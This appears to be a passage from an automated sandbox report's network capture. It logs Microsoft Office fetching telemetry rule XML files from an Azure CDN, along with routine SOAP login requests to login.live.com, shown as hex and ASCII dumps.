2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-12-02 00:34:50 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 02 Dec 2024 00:33:49 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C523_BL2 x-ms-request-id: c238493a-9cd6-40b0-8598-baabe64e03c1 PPServer: PPV: 30 H: BL02EPF0001D99A V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 02 Dec 2024 00:34:50 GMT Connection: close Content-Length: 11390
2024-12-02 00:34:50 UTC	11390	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.7	49892	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:49 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:50 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:49 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 4f79ec39-601e-0070-0891-3fa0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003449Z-174f78459688l8rvhC1EWRtzr00000000gag000000005x4s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:50 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.7	49893	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:51 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:51 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:51 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: a1da7612-c01e-0014-5d80-3fa6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003451Z-174f7845968kvnqxhC1EWRmf3g0000000qhg0000000054ma x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:51 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.7	49894	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:51 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:51 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:51 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 64c010c7-b01e-003e-2ea1-428e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003451Z-174f7845968zgtf6hC1EWRqd8s0000000wp0000000009nh4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 00:34:51 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.7	49895	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:51 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:53 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:53 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: e27289f3-201e-0003-0c15-42f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003453Z-174f7845968glpgnhC1EWR7uec00000013rg00000000p1sw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:53 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.7	49896	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:51 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:52 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:52 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: dc6365ef-001e-0034-0cb3-42dd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003452Z-174f7845968cpnpfhC1EWR3afc00000013a000000000988z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:52 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.7	49897	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:51 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:52 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:52 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: b5b05efe-701e-0001-4ea6-43b110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003452Z-174f78459685m244hC1EWRgp2c00000013n00000000016t5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:52 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.7	49898	20.190.181.1	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:52 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-12-02 00:34:52 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-12-02 00:34:53 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 02 Dec 2024 00:33:52 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C531_BAY x-ms-request-id: bf1c25f4-90fa-43df-93bc-64b0bb8e9e0f PPServer: PPV: 30 H: PH1PEPF0001B894 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 02 Dec 2024 00:34:52 GMT Connection: close Content-Length: 1918
2024-12-02 00:34:53 UTC	1918	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.7	49900	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:53 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:54 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:53 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 4c7796e8-801e-0083-47a6-43f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003453Z-174f7845968n2hr8hC1EWR9cag00000013d0000000003g3h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 00:34:54 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.7	49899	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:53 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:54 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:54 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 87286592-701e-0053-7b27-443a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003454Z-174f7845968swgbqhC1EWRmnb400000013tg00000000e5gg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:54 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.7	49901	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:54 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:54 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:54 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 8c2ab893-e01e-0003-5391-3f0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003454Z-174f7845968px8v7hC1EWR08ng00000013z0000000009beh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:54 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.7	49902	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:54 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
